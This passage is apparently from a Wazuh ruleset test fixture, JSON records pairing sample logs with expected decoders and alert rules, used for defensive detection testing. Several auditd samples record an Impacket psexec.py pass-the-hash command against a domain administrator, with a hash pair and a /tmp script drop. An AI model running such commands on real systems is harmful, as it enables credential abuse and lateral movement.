172.16.1.1 \"POST /groups\" with parameters {} and body {\"group_id\": \"NewGroup_1\"} done in 0.009s: 200", "decoder": "wazuh-api", "parent": "", "fields": {"body": "\"group_id\": \"NewGroup_1\"", "dstuser": "wazuh-wui", "endpoint": "POST /groups", "event-time": "2021/10/07 10:46:00", "http_status_code": "200", "method": "POST", "srcip": "172.16.1.1", "type": "INFO", "uri": "/groups"}, "field_names": ["body", "dstuser", "endpoint", "event-time", "http_status_code", "method", "srcip", "type", "uri"], "rule": "409", "level": "5", "expected_decoder": "wazuh-api", "expected_rule": "409", "rule_matches_expected": true, "ini_file": "api.ini", "section": "API POST method event success"} +{"log": "2021/10/07 10:32:33 INFO: unknown_user 172.16.1.1 \"DELETE /agents\" with parameters {} and body {} done in 0.001s: 200", "decoder": "wazuh-api", "parent": "", "fields": {"dstuser": "unknown_user", "endpoint": "DELETE /agents", "event-time": "2021/10/07 10:32:33", "http_status_code": "200", "method": "DELETE", "srcip": "172.16.1.1", "type": "INFO", "uri": "/agents"}, "field_names": ["dstuser", "endpoint", "event-time", "http_status_code", "method", "srcip", "type", "uri"], "rule": "408", "level": "7", "expected_decoder": "wazuh-api", "expected_rule": "408", "rule_matches_expected": true, "ini_file": "api.ini", "section": "API DELETE method event success"} +{"log": "2021/10/05 10:30:21 INFO: Generated private key file in WAZUH_PATH/api/configuration/ssl/server.key", "decoder": "wazuh-api-info", "parent": "", "fields": {"event-time": "2021/10/05 10:30:21", "message": "Generated private key file in WAZUH_PATH/api/configuration/ssl/server.key", "type": "INFO"}, "field_names": ["event-time", "message", "type"], "rule": "421", "level": "3", "expected_decoder": "wazuh-api-info", "expected_rule": "421", "rule_matches_expected": true, "ini_file": "api.ini", "section": "API info informative event"} +{"log": "2021/10/04 15:23:55 WARNING: something wrong happened", "decoder": "wazuh-api-info", "parent": "", "fields": {"event-time": "2021/10/04 15:23:55", "message": "something wrong happened", "type": "WARNING"}, "field_names": ["event-time", "message", "type"], "rule": "422", "level": "5", "expected_decoder": "wazuh-api-info", "expected_rule": "422", "rule_matches_expected": true, "ini_file": "api.ini", "section": "API info warning event"} +{"log": "2021/10/04 15:23:55 ERROR: Something bad happened", "decoder": "wazuh-api-info", "parent": "", "fields": {"event-time": "2021/10/04 15:23:55", "message": "Something bad happened", "type": "ERROR"}, "field_names": ["event-time", "message", "type"], "rule": "423", "level": "8", "expected_decoder": "wazuh-api-info", "expected_rule": "423", "rule_matches_expected": true, "ini_file": "api.ini", "section": "API info error event"} +{"log": "2021/10/04 15:23:55 ERROR: IP blocked due to exceeded number of logins attempts: 172.18.0.1", "decoder": "wazuh-api-info", "parent": "", "fields": {"event-time": "2021/10/04 15:23:55", "message": "IP blocked due to exceeded number of logins attempts: 172.18.0.1", "srcip": "172.18.0.1", "type": "ERROR"}, "field_names": ["event-time", "message", "srcip", "type"], "rule": "428", "level": "10", "expected_decoder": "wazuh-api-info", "expected_rule": "428", "rule_matches_expected": true, "ini_file": "api.ini", "section": "API info IP blocked"} +{"log": "2021/10/05 10:30:21 CRITICAL: Generated private key file in WAZUH_PATH/api/configuration/ssl/server.key", "decoder": "wazuh-api-info", "parent": "", "fields": {"event-time": "2021/10/05 10:30:21", "message": "Generated private key file in WAZUH_PATH/api/configuration/ssl/server.key", "type": "CRITICAL"}, "field_names": ["event-time", "message", "type"], "rule": "424", "level": "12", "expected_decoder": "wazuh-api-info", "expected_rule": "424", "rule_matches_expected": true, "ini_file": "api.ini", "section": "API info critical event"} +{"log": "2021/10/05 10:33:15 INFO: testing 172.21.0.1 \"POST /security/user/authenticate\" with parameters {} and body {} done in 0.354s: 200", "decoder": "wazuh-api", "parent": "", "fields": {"dstuser": "testing", "endpoint": "POST /security/user/authenticate", "event-time": "2021/10/05 10:33:15", "http_status_code": "200", "method": "POST", "srcip": "172.21.0.1", "type": "INFO", "uri": "/security/user/authenticate"}, "field_names": ["dstuser", "endpoint", "event-time", "http_status_code", "method", "srcip", "type", "uri"], "rule": "426", "level": "4", "expected_decoder": "wazuh-api", "expected_rule": "426", "rule_matches_expected": true, "ini_file": "api.ini", "section": "API authentication success"} +{"log": "2022/02/03 10:37:36 INFO: wazuh (d8466023fdec3f1310679989d8827eee) 172.20.0.1 \"POST /security/user/authenticate/run_as\" with parameters {\"raw\": \"true\"} and body {\"user_name\": \"test\", \"is_reserved\": false, \"is_hidden\": false, \"is_internal_user\": true, \"user_requested_tenant\": \"__user__\", \"backend_roles\": [\"\"], \"custom_attribute_names\": [], \"tenants\": {\"test\": true, \"global_tenant\": true, \"admin_tenant\": true}, \"roles\": [\"own_index\", \"all_access\"]} done in 0.309s: 200", "decoder": "wazuh-api", "parent": "", "fields": {"api-parameters": "\"raw\": \"true\"", "auth_context_hash": "d8466023fdec3f1310679989d8827eee", "body": "\"user_name\": \"test\", \"is_reserved\": false, \"is_hidden\": false, \"is_internal_user\": true, \"user_requested_tenant\": \"__user__\", \"backend_roles\": [\"\"], \"custom_attribute_names\": [], \"tenants\": {\"test\": true, \"global_tenant\": true, \"admin_tenant\": true}, \"roles\": [\"own_index\", \"all_access\"]", "dstuser": "wazuh", "endpoint": "POST /security/user/authenticate/run_as", "event-time": "2022/02/03 10:37:36", "http_status_code": "200", "method": "POST", "srcip": "172.20.0.1", "type": "INFO", "uri": "/security/user/authenticate/run_as"}, "field_names": ["api-parameters", "auth_context_hash", "body", "dstuser", "endpoint", "event-time", "http_status_code", "method", "srcip", "type", "uri"], "rule": "426", "level": "4", "expected_decoder": "wazuh-api", "expected_rule": "426", "rule_matches_expected": true, "ini_file": "api.ini", "section": "API authentication success with HASH"} +{"log": "2021/10/05 10:33:15 INFO: testing 172.21.0.1 \"POST /security/user/authenticate\" with parameters {} and body {} done in 0.354s: 400", "decoder": "wazuh-api", "parent": "", "fields": {"dstuser": "testing", "endpoint": "POST /security/user/authenticate", "event-time": "2021/10/05 10:33:15", "http_status_code": "400", "method": "POST", "srcip": "172.21.0.1", "type": "INFO", "uri": "/security/user/authenticate"}, "field_names": ["dstuser", "endpoint", "event-time", "http_status_code", "method", "srcip", "type", "uri"], "rule": "427", "level": "7", "expected_decoder": "wazuh-api", "expected_rule": "427", "rule_matches_expected": true, "ini_file": "api.ini", "section": "API authentication failure"} +{"log": "Jun 24 10:35:29 hostname kernel: [49787.970285] audit: type=1400 audit(1403598929.839:88986): apparmor=\"ALLOWED\" operation=\"getattr\" profile=\"/usr/sbin/dovecot//null-1//null-2//null-4a6\" name=\"/home/admin/mails/new/\" pid=19973 comm=\"imap\" requested_mask=\"r\" denied_mask=\"r\" fsuid=1003 ouid=1003", "decoder": "kernel", "parent": "kernel", "fields": {"extra_data": "getattr", "status": "ALLOWED"}, "field_names": ["extra_data", "status"], "rule": "52001", "level": "0", "expected_decoder": "kernel", "expected_rule": "52001", "rule_matches_expected": true, "ini_file": "apparmor.ini", "section": "Ignore ALLOWED or STATUS"} +{"log": "Jun 23 20:46:15 hostname kernel: [ 11.103248] audit: type=1400 audit(1403549175.177:2): apparmor=\"STATUS\" operation=\"profile_load\" name=\"/sbin/klogd\" pid=2185 comm=\"apparmor_parser\"", "decoder": "kernel", "parent": "kernel", "fields": {"extra_data": "profile_load", "status": "STATUS"}, "field_names": ["extra_data", "status"], "rule": "52001", "level": "0", "expected_decoder": "kernel", "expected_rule": "52001", "rule_matches_expected": true, "ini_file": "apparmor.ini", "section": "Apparmor ALLOWED or STATUS"} +{"log": "Jul 14 11:03:47 hostname kernel: [ 8665.951930] type=1400 audit(1405328627.702:54): apparmor=\"DENIED\" operation=\"open\" profile=\"/usr/bin/evince\" name=\"/etc/xfce4/defaults.list\" pid=16418 comm=\"evince\" requested_mask=\"r\" denied_mask=\"r\" fsuid=1000 ouid=0", "decoder": "kernel", "parent": "kernel", "fields": {"extra_data": "open", "status": "DENIED"}, "field_names": ["extra_data", "status"], "rule": "52002", "level": "3", "expected_decoder": "kernel", "expected_rule": "52002", "rule_matches_expected": true, "ini_file": "apparmor.ini", "section": "Apparmor DENIED"} +{"log": "Jun 16 17:37:39 hostname kernel: [891880.587989] audit: type=1400 audit(1314853822.672:33649): apparmor=\"DENIED\" operation=\"mknod\" parent=27250 profile=\"/usr/lib/apache2/mpm-prefork/apache2//example.com\" name=\"/usr/share/wordpress/1114140474e5f13bea68a4.tmp\" pid=27289 comm=\"apache2\" requested_mask=\"c\" denied_mask=\"c\" fsuid=33 ouid=33", "decoder": "kernel", "parent": "kernel", "fields": {"extra_data": "mknod", "status": "DENIED"}, "field_names": ["extra_data", "status"], "rule": "52004", "level": "4", "expected_decoder": "kernel", "expected_rule": "52004", "rule_matches_expected": true, "ini_file": "apparmor.ini", "section": "Apparmor DENIED mknod operation."} +{"log": "Jun 16 17:37:39 hostname kernel: [891880.587989] audit: type =1400 audit(1315353795.331:33657): apparmor=\"DENIED\" operation=\"exec\" parent=14952 profile=\"/usr/lib/apache2/mpm-prefork/apache2//example.com\" name=\"/usr/lib/sm.bin/sendmail\" pid=14953 comm=\"sh\" requested_mask=\"x\" denied_mask=\"x\" fsuid=33 ouid=0", "decoder": "kernel", "parent": "kernel", "fields": {"extra_data": "exec", "status": "DENIED"}, "field_names": ["extra_data", "status"], "rule": "52003", "level": "5", "expected_decoder": "kernel", "expected_rule": "52003", "rule_matches_expected": true, "ini_file": "apparmor.ini", "section": "Apparmor DENIED exec operation."} +{"log": "Sep 11 23:23:32 user arbor-networks-aps: Blocked Host: Blocked host xxx.xxx.xxx.xxx at hh:mm by Invalid Packets using TCP/23 (TELNET) destination yyy.yyy.yyy.yyy source port pppp,URL: http://web", "decoder": "arbor", "parent": "", "fields": {"arbor_time": "hh:mm", "category": "Invalid Packets", "dstip": "yyy.yyy.yyy.yyy", "dstport": "TCP/23 (TELNET)", "proto": "TCP", "service": "TELNET", "srcip": "xxx.xxx.xxx.xxx", "srcport": "pppp", "url": "http://web"}, "field_names": ["arbor_time", "category", "dstip", "dstport", "proto", "service", "srcip", "srcport", "url"], "rule": "88801", "level": "7", "expected_decoder": "arbor", "expected_rule": "88801", "rule_matches_expected": true, "ini_file": "arbor.ini", "section": "blocked host"} +{"log": "Sep 11 23:23:32 user arbor-networks-aps: Blocked Host: Blocked host xxx.xxx.xxx.xxx at hh:mm by TCP SYN Flood Detection using TCP/3306 (MYSQL) destination yyy.yyy.yyy.yyy source port ppp,URL: http://web", "decoder": "arbor", "parent": "", "fields": {"arbor_time": "hh:mm", "category": "TCP SYN Flood Detection", "dstip": "yyy.yyy.yyy.yyy", "dstport": "TCP/3306 (MYSQL)", "proto": "TCP", "service": "MYSQL", "srcip": "xxx.xxx.xxx.xxx", "srcport": "ppp", "url": "http://web"}, "field_names": ["arbor_time", "category", "dstip", "dstport", "proto", "service", "srcip", "srcport", "url"], "rule": "88801", "level": "7", "expected_decoder": "arbor", "expected_rule": "88801", "rule_matches_expected": true, "ini_file": "arbor.ini", "section": "blocked host"} +{"log": "type=SYSCALL msg=audit(1624643172.076:11843): arch=c000003e syscall=59 success=yes exit=0 a0=25c81f0 a1=255f000 a2=255df40 a3=7ffc66d5c8e0 items=3 ppid=4353 pid=13331 auid=1198400500 uid=1198400500 gid=1198400513 euid=1198400500 suid=1198400500 fsuid=1198400500 egid=1198400513 sgid=1198400513 fsgid=1198400513 tty=pts0 ses=48 comm=\"runtime\" exe=\"/usr/bin/python3.6\" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key=\"wazuh_execution\"\\u001DARCH=x86_64 SYSCALL=execve AUID=\"administrator@ExchangeTest.com\" UID=\"administrator@ExchangeTest.com\" GID=646F6D61696E2075736572734045786368616E6765546573742E636F6D EUID=\"administrator@ExchangeTest.com\" SUID=\"administrator@ExchangeTest.com\" FSUID=\"administrator@ExchangeTest.com\" EGID=646F6D61696E2075736572734045786368616E6765546573742E636F6D SGID=646F6D61696E2075736572734045786368616E6765546573742E636F6D FSGID=646F6D61696E2075736572734045786368616E6765546573742E636F6D type=EXECVE msg=audit(1624643172.076:11843): argc=6 a0=\"/usr/bin/python3\" a1=\"./runtime\" a2=\"psexec.py\" a3=\"exchangetest.com/administrator@192.168.0.57\"", "decoder": "auditd", "parent": "auditd", "fields": {"audit.arch": "c000003e", "audit.auid": "1198400500", "audit.command": "runtime", "audit.egid": "1198400513", "audit.euid": "1198400500", "audit.exe": "/usr/bin/python3.6", "audit.execve.a0": "/usr/bin/python3", "audit.execve.a1": "./runtime", "audit.execve.a2": "psexec.py", "audit.execve.a3": "exchangetest.com/administrator@192.168.0.57", "audit.execve.argc": "6", "audit.exit": "0", "audit.fsgid": "1198400513", "audit.fsuid": "1198400500", "audit.gid": "1198400513", "audit.id": "11843", "audit.key": "wazuh_execution", "audit.pid": "13331", "audit.ppid": "4353", "audit.session": "48", "audit.sgid": "1198400513", "audit.success": "yes", "audit.suid": "1198400500", "audit.syscall": "59", "audit.tty": "pts0", "audit.type": "SYSCALL", "audit.uid": "1198400500"}, "field_names": ["audit.arch", "audit.auid", "audit.command", "audit.egid", "audit.euid", "audit.exe", "audit.execve.a0", "audit.execve.a1", "audit.execve.a2", "audit.execve.a3", "audit.execve.argc", "audit.exit", "audit.fsgid", "audit.fsuid", "audit.gid", "audit.id", "audit.key", "audit.pid", "audit.ppid", "audit.session", "audit.sgid", "audit.success", "audit.suid", "audit.syscall", "audit.tty", "audit.type", "audit.uid"], "rule": "92600", "level": "0", "expected_decoder": "auditd", "expected_rule": "92600", "rule_matches_expected": true, "ini_file": "audit_scp.ini", "section": "Executed python script"} +{"log": "type=SYSCALL msg=audit(1624643172.076:11843): arch=c000003e syscall=59 success=yes exit=0 a0=25c81f0 a1=255f000 a2=255df40 a3=7ffc66d5c8e0 items=3 ppid=4353 pid=13331 auid=1198400500 uid=1198400500 gid=1198400513 euid=1198400500 suid=1198400500 fsuid=1198400500 egid=1198400513 sgid=1198400513 fsgid=1198400513 tty=pts0 ses=48 comm=\"runtime\" exe=\"/usr/bin/python3.6\" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key=\"wazuh_execution\"\\u001DARCH=x86_64 SYSCALL=execve AUID=\"administrator@ExchangeTest.com\" UID=\"administrator@ExchangeTest.com\" GID=646F6D61696E2075736572734045786368616E6765546573742E636F6D EUID=\"administrator@ExchangeTest.com\" SUID=\"administrator@ExchangeTest.com\" FSUID=\"administrator@ExchangeTest.com\" EGID=646F6D61696E2075736572734045786368616E6765546573742E636F6D SGID=646F6D61696E2075736572734045786368616E6765546573742E636F6D FSGID=646F6D61696E2075736572734045786368616E6765546573742E636F6D type=EXECVE msg=audit(1624643172.076:11843): argc=6 a0=\"/usr/bin/python3\" a1=\"./runtime\" a2=\"calc.py\" a3=\"exchangetest.com/administrator@192.168.0.57\" a4=\"-hashes\" a5=\"c615d74f277acb732af4e8680330fcf1:c615d74f277acb732af4e8680330fcf1\" type=CWD msg=audit(1624643172.076:11843): cwd=\"/tmp\" type=PATH msg=audit(1624643172.076:11843): item=0 name=\"./runtime\" inode=8409155 dev=fd:00 mode=0100755 ouid=1198400500 ogid=1198400513 rdev=00:00 obj=unconfined_u:object_r:user_tmp_t:s0 objtype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0\\u001DOUID=\"administrator@ExchangeTest.com\" OGID=646F6D61696E2075736572734045786368616E6765546573742E636F6D type=PATH msg=audit(1624643172.076:11843): item=1 name=\"/usr/bin/python3\" inode=1691048 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:bin_t:s0 objtype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0\\u001DOUID=\"root\" OGID=\"root\" type=PATH msg=audit(1624643172.076:11843): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=4636927 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:ld_so_t:s0 objtype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0\\u001DOUID=\"root\" OGID=\"root\" type=PROCTITLE msg=audit(1624643172.076:11843): proctitle=2F7573722F62696E2F707974686F6E33002E2F72756E74696D65007073657865632E70790065786368616E6765746573742E636F6D2F61646D696E6973747261746F72403139322E3136382E302E3537002D6861736865730063363135643734663237376163623733326166346538363830333330666366313A633631356437", "decoder": "auditd", "parent": "auditd", "fields": {"audit.arch": "c000003e", "audit.auid": "1198400500", "audit.command": "runtime", "audit.cwd": "/tmp", "audit.egid": "1198400513", "audit.euid": "1198400500", "audit.exe": "/usr/bin/python3.6", "audit.execve.a0": "/usr/bin/python3", "audit.execve.a1": "./runtime", "audit.execve.a2": "calc.py", "audit.execve.a3": "exchangetest.com/administrator@192.168.0.57", "audit.execve.a4": "-hashes", "audit.execve.a5": "c615d74f277acb732af4e8680330fcf1:c615d74f277acb732af4e8680330fcf1", "audit.execve.argc": "6", "audit.exit": "0", "audit.file.inode": "8409155", "audit.file.mode": "0100755", "audit.file.name": "./runtime", "audit.fsgid": "1198400513", "audit.fsuid": "1198400500", "audit.gid": "1198400513", "audit.id": "11843", "audit.key": "wazuh_execution", "audit.pid": "13331", "audit.ppid": "4353", "audit.session": "48", "audit.sgid": "1198400513", "audit.success": "yes", "audit.suid": "1198400500", "audit.syscall": "59", "audit.tty": "pts0", "audit.type": "SYSCALL", "audit.uid": "1198400500"}, "field_names": ["audit.arch", "audit.auid", "audit.command", "audit.cwd", "audit.egid", "audit.euid", "audit.exe", "audit.execve.a0", "audit.execve.a1", "audit.execve.a2", "audit.execve.a3", "audit.execve.a4", "audit.execve.a5", "audit.execve.argc", "audit.exit", "audit.file.inode", "audit.file.mode", "audit.file.name", "audit.fsgid", "audit.fsuid", "audit.gid", "audit.id", "audit.key", "audit.pid", "audit.ppid", "audit.session", "audit.sgid", "audit.success", "audit.suid", "audit.syscall", "audit.tty", "audit.type", "audit.uid"], "rule": "92601", "level": "6", "expected_decoder": "auditd", "expected_rule": "92601", "rule_matches_expected": true, "ini_file": "audit_scp.ini", "section": "Executed python script from /tmp/ folder."} +{"log": "type=SYSCALL msg=audit(1624643172.076:11843): arch=c000003e syscall=59 success=yes exit=0 a0=25c81f0 a1=255f000 a2=255df40 a3=7ffc66d5c8e0 items=3 ppid=4353 pid=13331 auid=1198400500 uid=1198400500 gid=1198400513 euid=1198400500 suid=1198400500 fsuid=1198400500 egid=1198400513 sgid=1198400513 fsgid=1198400513 tty=pts0 ses=48 comm=\"runtime\" exe=\"/usr/bin/python2.7\" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key=\"wazuh_execution\"\\u001DARCH=x86_64 SYSCALL=execve AUID=\"administrator@ExchangeTest.com\" UID=\"administrator@ExchangeTest.com\" GID=646F6D61696E2075736572734045786368616E6765546573742E636F6D EUID=\"administrator@ExchangeTest.com\" SUID=\"administrator@ExchangeTest.com\" FSUID=\"administrator@ExchangeTest.com\" EGID=646F6D61696E2075736572734045786368616E6765546573742E636F6D SGID=646F6D61696E2075736572734045786368616E6765546573742E636F6D FSGID=646F6D61696E2075736572734045786368616E6765546573742E636F6D type=EXECVE msg=audit(1624643172.076:11843): argc=6 a0=\"/usr/bin/python3\" a1=\"./runtime\" a2=\"/tmp/calc.py\" a3=\"exchangetest.com/administrator@192.168.0.57\" a4=\"-hashes\" a5=\"c615d74f277acb732af4e8680330fcf1:c615d74f277acb732af4e8680330fcf1\" type=CWD msg=audit(1624643172.076:11843): cwd=\"/tmp\" type=PATH msg=audit(1624643172.076:11843): item=0 name=\"./runtime\" inode=8409155 dev=fd:00 mode=0100755 ouid=1198400500 ogid=1198400513 rdev=00:00 obj=unconfined_u:object_r:user_tmp_t:s0 objtype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0\\u001DOUID=\"administrator@ExchangeTest.com\" OGID=646F6D61696E2075736572734045786368616E6765546573742E636F6D type=PATH msg=audit(1624643172.076:11843): item=1 name=\"/usr/bin/python3\" inode=1691048 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:bin_t:s0 objtype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0\\u001DOUID=\"root\" OGID=\"root\" type=PATH msg=audit(1624643172.076:11843): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=4636927 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:ld_so_t:s0 objtype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0\\u001DOUID=\"root\" OGID=\"root\" type=PROCTITLE msg=audit(1624643172.076:11843): proctitle=2F7573722F62696E2F707974686F6E33002E2F72756E74696D65007073657865632E70790065786368616E6765746573742E636F6D2F61646D696E6973747261746F72403139322E3136382E302E3537002D6861736865730063363135643734663237376163623733326166346538363830333330666366313A633631356437", "decoder": "auditd", "parent": "auditd", "fields": {"audit.arch": "c000003e", "audit.auid": "1198400500", "audit.command": "runtime", "audit.cwd": "/tmp", "audit.egid": "1198400513", "audit.euid": "1198400500", "audit.exe": "/usr/bin/python2.7", "audit.execve.a0": "/usr/bin/python3", "audit.execve.a1": "./runtime", "audit.execve.a2": "/tmp/calc.py", "audit.execve.a3": "exchangetest.com/administrator@192.168.0.57", "audit.execve.a4": "-hashes", "audit.execve.a5": "c615d74f277acb732af4e8680330fcf1:c615d74f277acb732af4e8680330fcf1", "audit.execve.argc": "6", "audit.exit": "0", "audit.file.inode": "8409155", "audit.file.mode": "0100755", "audit.file.name": "./runtime", "audit.fsgid": "1198400513", "audit.fsuid": "1198400500", "audit.gid": "1198400513", "audit.id": "11843", "audit.key": "wazuh_execution", "audit.pid": "13331", "audit.ppid": "4353", "audit.session": "48", "audit.sgid": "1198400513", "audit.success": "yes", "audit.suid": "1198400500", "audit.syscall": "59", "audit.tty": "pts0", "audit.type": "SYSCALL", "audit.uid": "1198400500"}, "field_names": ["audit.arch", "audit.auid", "audit.command", "audit.cwd", "audit.egid", "audit.euid", "audit.exe", "audit.execve.a0", "audit.execve.a1", "audit.execve.a2", "audit.execve.a3", "audit.execve.a4", "audit.execve.a5", "audit.execve.argc", "audit.exit", "audit.file.inode", "audit.file.mode", "audit.file.name", "audit.fsgid", "audit.fsuid", "audit.gid", "audit.id", "audit.key", "audit.pid", "audit.ppid", "audit.session", "audit.sgid", "audit.success", "audit.suid", "audit.syscall", "audit.tty", "audit.type", "audit.uid"], "rule": "92601", "level": "6", "expected_decoder": "auditd", "expected_rule": "92601", "rule_matches_expected": true, "ini_file": "audit_scp.ini", "section": "Executed python script from /tmp/ folder."} +{"log": "type=SYSCALL msg=audit(1624643172.076:11843): arch=c000003e syscall=59 success=yes exit=0 a0=25c81f0 a1=255f000 a2=255df40 a3=7ffc66d5c8e0 items=3 ppid=4353 pid=13331 auid=1198400500 uid=1198400500 gid=1198400513 euid=1198400500 suid=1198400500 fsuid=1198400500 egid=1198400513 sgid=1198400513 fsgid=1198400513 tty=pts0 ses=48 comm=\"runtime\" exe=\"/usr/bin/python3.6\" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key=\"wazuh_execution\"\\u001DARCH=x86_64 SYSCALL=execve AUID=\"administrator@ExchangeTest.com\" UID=\"administrator@ExchangeTest.com\" GID=646F6D61696E2075736572734045786368616E6765546573742E636F6D EUID=\"administrator@ExchangeTest.com\" SUID=\"administrator@ExchangeTest.com\" FSUID=\"administrator@ExchangeTest.com\" EGID=646F6D61696E2075736572734045786368616E6765546573742E636F6D SGID=646F6D61696E2075736572734045786368616E6765546573742E636F6D FSGID=646F6D61696E2075736572734045786368616E6765546573742E636F6D type=EXECVE msg=audit(1624643172.076:11843): argc=6 a0=\"/usr/bin/python3\" a1=\"./runtime\" a2=\"psexec.py\" a3=\"exchangetest.com/administrator@192.168.0.57\" a4=\"-hashes\" a5=\"c615d74f277acb732af4e8680330fcf1:c615d74f277acb732af4e8680330fcf1\" type=CWD msg=audit(1624643172.076:11843): cwd=\"/tmp\" type=PATH msg=audit(1624643172.076:11843): item=0 name=\"./runtime\" inode=8409155 dev=fd:00 mode=0100755 ouid=1198400500 ogid=1198400513 rdev=00:00 obj=unconfined_u:object_r:user_tmp_t:s0 objtype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0\\u001DOUID=\"administrator@ExchangeTest.com\" OGID=646F6D61696E2075736572734045786368616E6765546573742E636F6D type=PATH msg=audit(1624643172.076:11843): item=1 name=\"/usr/bin/python3\" inode=1691048 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:bin_t:s0 objtype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0\\u001DOUID=\"root\" OGID=\"root\" type=PATH msg=audit(1624643172.076:11843): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=4636927 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:ld_so_t:s0 objtype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0\\u001DOUID=\"root\" OGID=\"root\" type=PROCTITLE msg=audit(1624643172.076:11843): proctitle=2F7573722F62696E2F707974686F6E33002E2F72756E74696D65007073657865632E70790065786368616E6765746573742E636F6D2F61646D696E6973747261746F72403139322E3136382E302E3537002D6861736865730063363135643734663237376163623733326166346538363830333330666366313A633631356437", "decoder": "auditd", "parent": "auditd", "fields": {"audit.arch": "c000003e", "audit.auid": "1198400500", "audit.command": "runtime", "audit.cwd": "/tmp", "audit.egid": "1198400513", "audit.euid": "1198400500", "audit.exe": "/usr/bin/python3.6", "audit.execve.a0": "/usr/bin/python3", "audit.execve.a1": "./runtime", "audit.execve.a2": "psexec.py", "audit.execve.a3": "exchangetest.com/administrator@192.168.0.57", "audit.execve.a4": "-hashes", "audit.execve.a5": "c615d74f277acb732af4e8680330fcf1:c615d74f277acb732af4e8680330fcf1", "audit.execve.argc": "6", "audit.exit": "0", "audit.file.inode": "8409155", "audit.file.mode": "0100755", "audit.file.name": "./runtime", "audit.fsgid": "1198400513", "audit.fsuid": "1198400500", "audit.gid": "1198400513", "audit.id": "11843", "audit.key": "wazuh_execution", "audit.pid": "13331", "audit.ppid": "4353", "audit.session": "48", "audit.sgid": "1198400513", "audit.success": "yes", "audit.suid": "1198400500", "audit.syscall": "59", "audit.tty": "pts0", "audit.type": "SYSCALL", "audit.uid": "1198400500"}, "field_names": ["audit.arch", "audit.auid", "audit.command", "audit.cwd", "audit.egid", "audit.euid", "audit.exe", "audit.execve.a0", "audit.execve.a1", "audit.execve.a2", "audit.execve.a3", "audit.execve.a4", "audit.execve.a5", "audit.execve.argc", "audit.exit", "audit.file.inode", "audit.file.mode", "audit.file.name", "audit.fsgid", "audit.fsuid", "audit.gid", "audit.id", "audit.key", "audit.pid", "audit.ppid", "audit.session", "audit.sgid", "audit.success", "audit.suid", "audit.syscall", "audit.tty", "audit.type", "audit.uid"], "rule": "92602", "level": "12", "expected_decoder": "auditd", "expected_rule": "92602", "rule_matches_expected": true, "ini_file": "audit_scp.ini", "section": "Suspicious python script matches Impacket signature, possible use of stolen credentials or pass the hash attack."} +{"log": "type=SYSCALL msg=audit(1620937405.872:764): arch=c000003e syscall=2 success=yes exit=4 a0=555c2e4a6fb0 a1=41 a2=1a4 a3=7fcfaf0607b8 items=2 ppid=7903 pid=7909 auid=1198400500 uid=1198400500 gid=1198400513 euid=1198400500 suid=1198400500 fsuid=1198400500 egid=1198400513 sgid=1198400513 fsgid=1198400513 tty=(none) ses=21 comm=\"scp\" exe=\"/usr/bin/scp\" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key=\"wazuh_fim\" type=CWD msg=audit(1620937405.872:764): cwd=\"/home/administrator@ExchangeTest.com\" type=PATH msg=audit(1620937405.872:764): item=0 name=\"/tmp/\" inode=8409157 dev=fd:00 mode=041777 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:tmp_t:s0 objtype=PARENT cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0 type=PATH msg=audit(1620937405.872:764): item=1 name=\"/tmp/ps2.py\" inode=9595745 dev=fd:00 mode=0100644 ouid=1198400500 ogid=1198400513 rdev=00:00 obj=unconfined_u:object_r:user_tmp_t:s0 objtype=CREATE cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0 type=PROCTITLE msg=audit(1620937405.872:764): proctitle=736370002D74002F746D702F7073322E7079", "decoder": "auditd", "parent": "auditd", "fields": {"audit.arch": "c000003e", "audit.auid": "1198400500", "audit.command": "scp", "audit.cwd": "/home/administrator@ExchangeTest.com", "audit.directory.inode": "8409157", "audit.directory.mode": "041777", "audit.directory.name": "/tmp/", "audit.egid": "1198400513", "audit.euid": "1198400500", "audit.exe": "/usr/bin/scp", "audit.exit": "4", "audit.file.inode": "9595745", "audit.file.mode": "0100644", "audit.file.name": "/tmp/ps2.py", "audit.fsgid": "1198400513", "audit.fsuid": "1198400500", "audit.gid": "1198400513", "audit.id": "764", "audit.key": "wazuh_fim", "audit.pid": "7909", "audit.ppid": "7903", "audit.session": "21", "audit.sgid": "1198400513", "audit.success": "yes", "audit.suid": "1198400500", "audit.syscall": "2", "audit.tty": "(none)", "audit.type": "SYSCALL", "audit.uid": "1198400500"}, "field_names": ["audit.arch", "audit.auid", "audit.command", "audit.cwd", "audit.directory.inode", "audit.directory.mode", "audit.directory.name", "audit.egid", "audit.euid", "audit.exe", "audit.exit", "audit.file.inode", "audit.file.mode", "audit.file.name", "audit.fsgid", "audit.fsuid", "audit.gid", "audit.id", 